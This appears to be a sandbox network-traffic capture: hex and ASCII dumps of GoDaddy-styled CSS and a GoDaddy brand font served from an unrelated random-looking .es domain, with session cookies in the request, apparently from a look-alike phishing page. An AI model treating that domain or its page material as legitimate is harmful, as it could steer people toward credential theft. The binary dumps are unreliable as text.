flex: 1 1 0%;}#sections_godaddy a:hover {/* color: var(--ux-1j87vvn,#fff);*/ -webkit-text-decoration: var(--ux-1ft0khm,underline); text-decoration: var(--ux-1ft0khm,underline);}#sections_godaddy svg { overflow: hidden;
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 2c 2e 32 35 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 20 20 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 73 69 7a 65 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 7a 64 30 73 65 72 2c 33 29 20 2a 20 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 69 6e 6c 69 6e 65 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 69 6e 6c 69 6e 65 Data Ascii: ,.25rem) * var(--uxSpace--padding-adjustment,1)); --uxSpace--gap-size: calc(var(--ux-zd0ser,3) * var(--ux-1sbfig8,.25rem) * var(--uxSpace--gap-adjustment,1));}#sections_godaddy .ux-space.ux-space--inline:empty { display: inline-flex; inline
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 2d 76 76 73 70 76 32 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 32 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 Data Ascii: -vvspv2,1rem)); --uxText--fontSize-1: calc(var(--uxText--fontSize0) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize-2: calc(var(--uxText--fontSize-1) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize1: calc(var(--uxTex
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 76 61 72 28 2d 2d 75 78 2d 63 61 6f 30 36 62 2c 23 66 66 66 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 76 61 72 28 2d 2d 75 78 2d 31 39 77 72 33 6b 71 2c 31 70 78 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 76 61 72 28 2d 2d 75 78 2d 32 6a 75 62 65 73 2c 32 70 78 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 61 6c 65 72 74 20 61 5b 68 72 65 66 5d 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 Data Ascii: var(--ux-cao06b,#fff); border-color: var(--ux-97h3vl,#d3d3d3); border-width: var(--ux-19wr3kq,1px); border-radius: var(--ux-2jubes,2px);}#sections_godaddy .ux-alert a[href] { color: inherit; display: inline;}#sections_godaddy .u
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0d 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 64 2d 66 6c 65 78 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 Data Ascii: margin-right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy .container-fluid::after { content: ""; display: table; clear: both;}#sections_godaddy .d-flex { display: flex!important;}#sections_godaddy
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 3a 66 6f 63 75 73 20 7b 0d 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 76 61 72 28 2d 2d 75 78 70 2d 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 2d 6f 75 74 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 2c 69 6e 70 75 74 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 3b 0d 0a 7d 0d 0a 0d Data Ascii: transform: none;}#sections_godaddy button:focus { outline: var(--uxp-focus-visible-outline);}#sections_godaddy button,input { margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; overflow: visible;}
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0d 0a 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 77 6f 72 64 2d 77 72 61 70 3a 20 62 72 65 61 6b 2d 77 6f 72 64 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6c 69 70 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d Data Ascii: on: column; min-width: 0; word-wrap: break-word; background-clip: border-box; margin-bottom: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .ux-
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 2e 75 78 2d 74 65 78 74 2d 73 69 7a 65 2d 31 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 31 29 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6b 79 79 62 70 62 Data Ascii: ctions_godaddy .ux-button:not(.ux-button-inline).ux-text-size-1 { padding: calc(var(--ux-1sbfig8,0.25rem)1) calc(var(--ux-1sbfig8,0.25rem)3);}#sections_godaddy .ux-button:not(.ux-button-inline):not([disabled]):hover { color: var(--ux-1kyybpb
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 78 2d 74 65 78 74 2d 61 63 74 69 6f 6e 20 7b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 3a 20 76 61 72 28 2d 2d 75 78 2d 37 34 73 31 62 6b 2c 76 61 72 28 2d 2d 75 78 2d 63 78 62 65 38 67 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 6c 69 6e 65 48 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 31 64 72 79 32 70 6a 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 69 72 38 76 74 76 2c 76 61 72 28 2d 2d 75 78 2d 67 66 6e 75 70 76 2c 73 61 6e 73 2d 73 65 72 69 66 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 34 67 31 72 32 74 2c 76 61 72 28 2d 2d 75 78 2d 6a 34 30 79 79 64 Data Ascii: x-text-action { --uxText--fontSize0: var(--ux-74s1bk,var(--ux-cxbe8g,1rem)); --uxText--lineHeight: var(--ux-1dry2pj,var(--ux-jw5s9j,1.5)); font-family: var(--ux-1ir8vtv,var(--ux-gfnupv,sans-serif)); font-weight: var(--ux-4g1r2t,var(--ux-j40yyd

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:19 UTC	1390	OUT	GET /GDSherpa-bold.woff2 HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive Origin: https://nvgy.zonqdkqezktw.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
2025-03-26 21:11:19 UTC	1173	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:19 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff2" cf-cache-status: HIT Age: 1757 Last-Modified: Wed, 26 Mar 2025 19:05:36 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y2B%2Fpgyzb9zX67lumeOLOsOelw7fuABOMkebGUAV9lpIXE4kwo2vm1sixFY2plFv%2B6JacJFUByMG0eq8wqbgwvfB%2BoPPVjTfwvolwJrahymER5j0A1aPzNBc6N%2B5%2Fsh4yoqc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=333&min_rtt=310&rtt_var=129&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2378&delivery_rate=9605700&cwnd=252&unsent_bytes=0&cid=3801328de83f449c&ts=13&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 9269a3c95fb83d85-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89206&min_rtt=89162&rtt_var=18875&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2837&recv_bytes=1962&delivery_rate=34232&cwnd=252&unsent_bytes=0&cid=858f52d3331ca7bf&ts=203&x=0"
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)JFc A7kv2=Zn4`~Nl4;Sl{w:#=!
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 03 75 f4 b1 1c 11 80 ff ca f3 72 0d 00 49 18 00 8e 3f 2f 8d 31 03 75 c2 71 34 2f 90 38 8d ce f6 02 f1 2e 99 22 cb 68 8c 5f 71 51 76 58 9a 29 0a 40 2d b9 27 a4 bc 5a aa f4 c7 04 4f ec 85 48 0f 5d 5c 2e a2 b2 58 05 6b 6c fd a5 09 9a bc ad b4 07 ed 59 fb 47 29 c9 8d 4d ea 8e b9 57 56 f5 4d c2 3d 8a 84 a9 60 2a 9b ae ce 18 b0 25 26 d8 83 3a fc 48 b0 78 c9 ce b4 7c 6e cb e9 82 ae eb 96 be de 7f ea 6f fa bf 99 97 a0 34 c3 67 ea cc 9c 53 66 dd dc 38 37 cd ed 33 6b 5e 99 7f 99 ff 5a 08 2e 3c 16 f8 c5 f0 a2 6d d1 bd 60 2e e6 16 df 2e 7e 83 78 01 5a 28 cd 21 12 47 42 46 a1 6e 97 dd 82 54 aa d6 ae 4b b7 61 e3 26 4c 59 b4 6c 05 db 15 d7 5c 77 d3 1d db f0 bf d6 60 31 5d 4a 97 d3 f5 f4 a4 59 2d 73 e6 2d 58 b4 64 d9 8a 55 6b d6 6d d8 dc d6 b6 77 b0 f6 d0 61 c3 47 8c 1c Data Ascii: urI?/1uq4/8."h_qQvX)@-'ZOH]\.XklYG)MWVM=`*%&:Hx\|no4gSf873k^Z.<m`..~xZ(!GBFnTKa&LYl\w`1]JY-s-XdUkmwaG
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 99 36 84 b0 f4 46 7e 5a 7b 61 cb ce 38 7e 18 10 15 5a 16 2a dd 9d 07 cd 21 1f 79 7a 00 95 f6 00 6a a7 b6 7b 71 25 61 96 bf 64 1c 1e 9e 9b c6 7a 4b 2d 5e ca d6 b0 97 ff 3f 8d 57 52 7d 30 28 fc 2e bc 7e fd 90 34 de 54 c9 b1 e6 c0 08 ee e4 96 9a 1e 6b 45 c5 4e d6 97 57 40 eb 12 8f 15 b0 35 9f 31 43 a2 f8 ff b9 61 4a 0a 90 ae 5e 88 f3 1f 3c 2d 4f 42 88 ef c2 28 16 d2 73 11 28 3a ce c4 59 ff 45 25 b4 9c 70 77 4b 58 aa 75 59 34 d1 89 ae d4 8c 41 03 4d 4a 28 ac 59 68 f9 97 0b 97 a7 c8 5c 7a a8 29 fc 5a 13 ff 12 4a 26 6c 0f 5c 61 fe a4 3c dd 0c 29 39 23 3d 43 0c b0 ae 0b d9 19 f3 69 78 bc c4 1d 5d e4 a9 75 82 6c 46 dc 61 52 47 75 81 f7 9a 59 0b 79 56 80 3c 2f 6d c3 e0 bb bd e6 87 fe 1c cc 0d 18 38 fa 62 0b 01 bc 05 33 fb 67 82 27 9d 98 3f 21 ff 23 4c 66 24 d3 27 Data Ascii: 6F~Z{a8~Z*!yzj{q%adzK-^?WR}0(.~4TkENW@51CaJ^<-OB(s(:YE%pwKXuY4AMJ(Yh\z)ZJ&l\a<)9#=Cix]ulFaRGuYyV</m8b3g'?!#Lf$'
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: d5 60 26 6a 11 ad 15 dc e3 a8 26 8d 6b ec 3a 27 ef 4b 33 f0 4f 93 a9 e1 9e d1 f6 63 da ec d3 0e 34 e2 39 79 e1 96 a4 86 1f af ef 8c b4 a5 3c 0c 57 1a 78 27 6e 5b a1 19 51 5a 6f 9e 8b 14 d6 2d 13 b2 16 b5 3d 49 d5 e2 af d4 85 12 c4 12 ee 91 e0 52 14 13 df e1 2e 1e ee 9d 82 e2 44 81 31 46 c5 1e 9c 78 1a ff ad f7 ef bf 8f d6 ff b5 fd 1b 5d cb c9 d3 4b 33 cc 70 ea 36 ee f9 8f 5f a5 dc 84 9a 44 e9 60 b5 ec 08 71 ee 84 82 67 2e 3d 1a 27 7c 6b 5a 43 e7 17 68 d8 46 8a 12 a1 97 f0 38 b3 f5 e6 70 1a ef e8 dd 71 eb 47 29 98 b8 19 2d eb bf 92 6b e8 78 37 79 35 9b 74 56 5d 8c 52 68 57 7d 59 cc f3 f4 eb 74 4c d6 b5 c9 43 86 3d 79 6f 50 db 91 84 e7 ee 0c 54 fb e1 d1 8a eb f5 00 5f 98 7b d5 02 c9 d4 83 39 92 97 e2 70 58 d4 05 60 f1 63 30 c3 d6 0a 9b a6 c4 77 52 42 36 e2 Data Ascii: `&j&k:'K3Oc49y<Wx'n[QZo-=IR.D1Fx]K3p6_D`qg.='\|kZChF8pqG)-kx7y5tV]RhW}YtLC=yoPT_{9pX`c0wRB6
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 61 24 8e 27 57 80 da f3 5e 35 af bb e3 03 40 0f e0 81 d6 e4 72 a2 3b 3a ff 9a 7c e9 55 1d a5 cf 00 47 63 61 4d b9 95 2b 87 8c 8c 79 16 a5 3b b7 d7 2f 1b d8 87 8b 7a ed 18 95 8d cb 26 c5 5c 4a b2 02 cc 7d 8b bd 75 07 76 e6 ed 02 7b c5 ef cb e9 93 d3 b3 75 e5 bc 7a 71 39 ef 52 f7 a5 f9 7a 5f 53 b7 6f e1 dd 08 70 20 07 11 87 5c 0a 45 98 0a 20 6a 4f a4 91 c3 ab 40 91 22 2d 8e 05 ca d6 bb 41 86 25 66 cf 4b e5 bd 45 d9 9f 7b 70 52 76 6a 3f 5b d4 b5 e3 bc ec a2 ec f2 a8 78 68 9f c2 ef a2 46 98 0f 5f 4d ec 44 75 e6 82 ca e3 d4 75 5b 8b 57 b8 01 40 ea 79 35 09 51 44 1f 46 9c 04 65 2a 14 5c 8f c7 eb ea 99 43 c4 05 a8 5c 67 31 cd 47 a2 8b 64 af a2 dd 25 0f 30 42 87 63 c5 7e 02 a5 42 d3 64 32 44 01 80 0d 52 50 be b2 37 d0 27 5f 0e b0 93 cc 2b 52 29 c2 37 52 bd c4 24 Data Ascii: a$'W^5@r;:\|UGcaM+y;/z&\J}uv{uzq9Rz_Sop \E jO@"-A%fKE{pRvj?[xhF_MDuu[W@y5QDFe*\C\g1Gd%0Bc~Bd2DRP7'_+R)7R$
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 3e 93 cf 06 3e 1b 6b 49 a1 3d dd c9 ed 93 0b 55 5c ed a1 7e 5d fe f5 bd df c1 ef c6 e1 00 5b b4 99 b2 b1 d3 7e 51 a2 9d 51 af 1b d3 98 e9 a0 46 47 b0 e2 79 bc 8d 5f 45 02 d2 dc cb e5 fb d9 db 53 e3 90 87 26 b4 a3 1b 4c 4c 80 a5 2e ab 9b ea 2b f5 87 8c 08 0b ac 90 dd 17 8f 39 5d f8 40 e5 8d 40 08 0b 4f 5a 89 bf 09 1f 01 c7 17 00 74 33 49 cd 2b e0 e8 fe f2 a6 77 74 6a 15 b5 ca 05 3c 90 f8 47 86 10 78 e3 96 eb c1 bd e2 c9 50 99 fe a4 89 7c ea c1 e3 ff 76 bf 77 bf 75 3b 48 25 39 ab 66 55 b4 d4 83 a5 1b 8f 6e 3e 5a 03 f8 f5 33 d8 95 10 a9 c7 aa f0 00 b0 7c e9 77 7e 33 44 09 f0 3e e0 c3 8f ff ad 45 f7 3d f5 d6 fb 5a 82 72 a1 6e 7e 7e 7b 37 18 f8 eb 13 2a 2f ef e8 26 36 b5 d9 cd ef fc 58 bb b4 cb bb b9 db bb 1b e4 e5 dc c3 3d 8d df 4a f9 fe d7 96 4f 37 3f 59 8d Data Ascii: >>kI=U\~][~QQFGy_ES&LL.+9]@@OZt3I+wtj<GxP\|vwu;H%9fUn>Z3\|w~3D>E=Zrn~~{7*/&6X=JO7?Y
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 09 f7 26 6d 00 d0 e6 10 c1 78 a2 92 9e 7e 1d 38 ac 35 b1 d9 5e c6 22 49 0b 0c 92 d0 0b e4 49 15 4a bf ad 67 1d 98 a1 a4 f1 fe 67 df 53 5e 2c 5c 2a 8e 53 83 e3 96 e3 d2 28 64 dc 36 c6 78 6c 1c e3 b5 f1 8c cf 26 30 7e 9b c8 04 6c 1a 26 68 d3 32 21 9b ae 21 c7 58 1e 44 74 e6 26 98 3a e8 ae 1d fd 9d 7c 4e 99 bb e4 53 b9 50 96 2e f9 de ae c3 d6 68 d8 d0 40 04 84 41 14 85 24 06 10 20 71 80 00 49 00 04 48 12 20 40 52 00 01 92 06 08 90 0c 40 80 64 01 02 d1 22 f5 32 ca 94 12 2a d6 a7 59 f7 74 c6 c7 08 39 45 35 7d 97 29 a3 d4 94 ca a9 90 56 12 60 c4 86 fb e6 0c 33 2f 84 32 b8 d4 a9 f2 d5 8a 3a 2a d5 84 d2 b5 c8 56 0c f5 ae 4b 8d 29 69 f2 a2 75 ba 43 ea 2d 68 58 83 be 83 dd 43 d6 31 ba 15 81 fb 17 de df 75 68 4f ec 7e ab 07 bd e9 34 a9 d7 8a d4 77 27 a0 0e f7 9d 96 Data Ascii: &mx~85^"IIJggS^,\S(d6xl&0~l&h2!!XDt&:\|NSP.h@A$ qIH @R@d"2Yt9E5})V`3/2:*VK)iuC-hXC1uhO~4w'
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 27 ca e7 2a 3b b5 9b b5 5e 6d f4 12 71 64 a9 ee b5 17 4d 11 28 23 71 3b 57 2b 7a d0 27 9e 6c e8 ab a1 2c 75 38 40 b2 71 70 fd 28 b0 44 77 96 46 34 5e 7e a4 df f0 b6 3d 4a f7 af e3 54 97 b6 79 81 fa 19 dd c3 ab 9e 54 cb 57 ba 5c ff 10 96 f4 71 d9 ac ea ca 7a e7 bc ec 1b f8 05 d9 31 29 17 f9 e1 bb fb 5c 1c 5d 71 7a d8 0b cd 1c 53 fe fe b2 b4 3d 10 20 96 5c 95 bf 82 ec 7f 3a 32 4a e7 9a 90 90 57 12 7a fd 3c 0d ca 2b 2a c0 90 20 03 03 b5 15 91 74 de 12 46 09 c6 72 c2 be 42 61 8a 26 64 ef 9c cd 7f 9c 14 9e a3 37 72 fa 2f 17 51 8b c3 38 c9 eb 8e 2a 0a f9 8c 82 22 f4 76 b2 f8 94 af f1 c1 bc 1c 2c af dd 60 23 79 ad ae 50 0a d7 57 bd 3d 56 45 8f f1 55 61 5f 2e ac 3d 06 0a 28 a4 49 6d a6 6f 46 1d 78 2e 47 5c 51 cf 7c ea d0 49 1b 79 95 1a 90 09 07 ff e7 e0 5d 83 d3 Data Ascii: ';^mqdM(#q;W+z'l,u8@qp(DwF4^~=JTyTW\qz1)\]qzS= \:2JWz<+ tFrBa&d7r/Q8*"v,`#yPW=VEUa_.=(ImoFx.G\Q\|Iy]
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 83 5a ba 57 65 1c fc b8 6f e3 49 ec 6f 3b 33 20 a2 d8 b7 fc b0 6d e6 d4 d8 7f e0 70 37 98 4e be e4 a7 7d d3 d7 fe b8 6b 64 84 c3 6d fd 17 d0 66 01 77 ab d0 06 e1 ef 20 c7 14 32 5c 3c 9e f3 9e 6a bd 0b ff 41 39 d8 8a 03 fe 0f d2 46 2d e9 ed 73 8d 8c 55 99 e7 9a 82 cf 9d 96 dd 33 eb 50 4f f8 8b 60 2d 24 19 7e 2c 86 75 fc 9a 88 5f 11 f1 53 91 05 4f 52 f5 48 04 e2 a2 57 79 98 4e a0 4d da 1b f3 61 90 bc e6 d5 86 97 fa 37 e1 70 d4 90 31 be 7b 14 7b ea 31 24 e4 e7 36 ca a4 a4 4a a4 0e 3e f9 ac 08 e3 09 74 47 28 24 12 c2 91 fd 6a 5f 36 92 7e 36 f2 3d bc 8d 5c 34 a8 7e e9 db 8f 94 09 21 1b 42 3d 1b 7d 1b 34 50 c6 40 f7 f0 f8 30 57 e9 7c 0c 7d 0f b1 ab 87 c3 38 9b e3 57 66 17 81 f8 91 c4 6a 08 1e a1 73 a2 b3 0d 59 7d 44 8b f1 ba 4b f8 4d 02 ea 4b 96 f7 6d 42 bd d0 Data Ascii: ZWeoIo;3 mp7N}kdmfw 2\<jA9F-sU3PO`-$~,u_SORHWyNMa7p1{{1$6J>tG($j_6~6=\4~!B=}4P@0W\|}8WfjsY}DKMKmB
